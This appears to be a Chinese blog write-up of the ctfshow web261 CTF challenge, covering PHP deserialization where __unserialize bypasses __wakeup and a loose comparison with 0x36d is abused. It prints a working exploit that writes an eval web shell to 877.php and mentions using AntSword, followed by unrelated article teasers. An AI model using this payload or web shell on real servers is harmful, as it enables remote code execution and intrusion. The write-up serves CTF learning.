news 2026/1/11 17:19:54

ctfshow-web261

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web261

(魔术方法啥的还是自行看PHP魔术方法,这里就不单独拎出来了)

1.代码注释版

<?php highlight_file(__FILE__); // 把当前 PHP 文件源码高亮显示出来 // 纯提示用,对利用没有影响 class ctfshowvip{ public $username; public $password; public $code; // 三个 public 属性,反序列化时都可以被用户控制 public function __construct($u,$p){ $this->username=$u; $this->password=$p; } // 构造函数:正常 new 对象时才会调用 // ❗反序列化时不会调用 __construct public function __wakeup(){ // unserialize() 时【旧版序列化格式】会自动触发 if($this->username!='' || $this->password!=''){ // 只要 username 或 password 有一个不为空 die('error'); } // ❗这里是“防护逻辑” // 企图阻止反序列化时 username / password 被赋值 } public function __invoke(){ // 当对象被当成函数调用时触发 // 例如:$obj(); eval($this->code); // code 可控 = 代码执行 // ⚠️ 本题中并没有地方直接调用对象当函数 } public function __sleep(){ // serialize() 时触发 // 返回要序列化的属性(这里没 return,其实是错误写法) $this->username=''; $this->password=''; // ❗强制把 username / password 清空 // 用来“防止危险数据被序列化” } public function __unserialize($data){ // PHP 7.4+ 新增 // ❗当使用新格式反序列化时 // 会【跳过 __wakeup】,直接进入这里 $this->username=$data['username']; $this->password=$data['password']; // 直接从反序列化数据中取值 // 完全绕过 __wakeup 的检查 $this->code = $this->username.$this->password; // 把 username 和 password 拼接 // 例如: // username = "0x" // password = "36d" // code = "0x36d" } public function __destruct(){ // 脚本结束时自动调用 // 这是【最终利用点】 if($this->code==0x36d){ // ⚠️ 关键点: // $this->code 是字符串 // 0x36d 是十六进制整数 (877) // PHP 弱类型比较: // "0x36d" == 0x36d → true file_put_contents($this->username, $this->password); // 写文件: // 文件名 = username // 文件内容 = password } } } unserialize($_GET['vip']); // 把 GET 传入的 vip 参数反序列化成对象 // ❗整个攻击链的入口

(如果是按着题目顺序做下来的话这里大概基本上都能看懂是点啥,如果是跳着做的话其实不建议,还是先一步步来,因此这里就不再补基础知识了)

2.关键点

这里最重要的其实是新格式的反序列化,代码中也是详细给出了php7.4+版本会直接跳过wakeup,那么我们还是先来看如果是旧版本即不跳过wakeup是个什么情况:

不跳wakeup:

public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } }

我们要做的是写username和password然后让code拼接payload,但是这里wakeup就限制了我们写的能力:如果username或者password的值不为空,就直接die error,那为了不让这个程序die,我们只能:

$username = '' $password = ''

那么到了后面的结果就是这样的:

file_put_contents($this->username, $this->password); //usename和password进行拼接 file_put_contents('', ''); //非法路径,直接失败
能做到的:
  • 通过__wakeup():只能让 username / password 为空

  • $code == 0x36d:可以

做不到的:

写任意文件 写 webshell 控制路径和内容.

因此在这道题目中,如果采用旧版本的话,那么基本上是解不出来的。因此这里的环境为7.4.16

跳wakeup:

这样的话就简单多了,唯一要关注的点就是code那边是弱比较,0x36转为十进制为877,弱比较的话可以改成877.php写webshell,然后写个程序跑一下就行:

<?php class ctfshowvip{ public $username='877.php'; public $password='<?=eval($_POST[1])?>'; public $code; } $a=new ctfshowvip(); echo serialize($a); ?> O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:20:"<?=eval($_POST[1])?>";s:4:"code";N;}

这里注意的点是最后面那个code的N代表NULL,因为没有赋初始值,但是这里赋值跟不赋值都没有关系。因为关键是code会被重新赋值:

public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; }

然后后面就是访问877.php,但是这里的flag在根目录

或者因为是POST传参可以直接连蚁剑:

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/11 17:01:28

AI智能体工业质检应用:快速测试指南

AI智能体工业质检应用&#xff1a;快速测试指南 1. 什么是AI智能体工业质检&#xff1f; 想象一下&#xff0c;工厂里有一位不知疲倦的质检员&#xff0c;它能24小时盯着生产线&#xff0c;用"火眼金睛"发现每一个细微的产品缺陷。这就是AI智能体在工业质检中的应用…

作者头像 李华
网站建设 2026/1/11 16:59:05

AI智能体工单处理实战:云端GPU 1小时部署,成本透明

AI智能体工单处理实战&#xff1a;云端GPU 1小时部署&#xff0c;成本透明 引言&#xff1a;当客服主管遇到AI智能体 作为客服主管&#xff0c;你是否经常面临这样的困境&#xff1a;每天数百个工单需要处理&#xff0c;团队人力有限&#xff0c;高峰期响应延迟&#xff0c;客…

作者头像 李华
网站建设 2026/1/11 16:56:30

AI威胁情报生产线:从采集到分析,云端自动化流水线

AI威胁情报生产线&#xff1a;从采集到分析&#xff0c;云端自动化流水线 引言&#xff1a;当安全团队遇上AI流水线 想象一下&#xff0c;你是一名网络安全分析师&#xff0c;每天要处理成千上万的威胁日志——就像在暴雨中试图用咖啡滤纸接住每一滴雨水。传统的手工处理方式…

作者头像 李华
网站建设 2026/1/11 16:55:25

5个热门AI智能体对比:云端GPU3小时完成选型测试

5个热门AI智能体对比&#xff1a;云端GPU3小时完成选型测试 1. 为什么需要AI智能体选型&#xff1f; 作为技术负责人&#xff0c;当我们需要为项目选择AI智能体框架时&#xff0c;常常面临几个现实问题&#xff1a; 本地开发机性能不足&#xff0c;跑不动大模型购买测试服务…

作者头像 李华
网站建设 2026/1/11 16:50:50

开题报告 “一次过” 秘籍!虎贲等考 AI:30 分钟搞定专业框架,答辩不慌

毕业论文的 “第一关” 从来不是正文写作&#xff0c;而是开题报告。选题被导师否定、研究意义表述模糊、技术路线逻辑混乱、文献综述缺乏深度…… 这些开题路上的 “绊脚石”&#xff0c;让无数学生反复修改却迟迟无法通过&#xff0c;甚至耽误后续论文创作进度。 而虎贲等考…

作者头像 李华
网站建设 2026/1/11 16:49:20

宏智树AI:重塑学术写作新范式,开启智能科研新纪元——让论文写作从“复杂工程”变为“高效创作”

在学术研究的道路上&#xff0c;论文写作是每位学者必经的“最后一公里”。然而&#xff0c;从选题开题到数据整理&#xff0c;从文献综述到查重降重&#xff0c;每一步都充满挑战&#xff1a;灵感枯竭、逻辑混乱、数据处理低效、查重率居高不下……这些问题不仅消耗大量时间&a…

作者头像 李华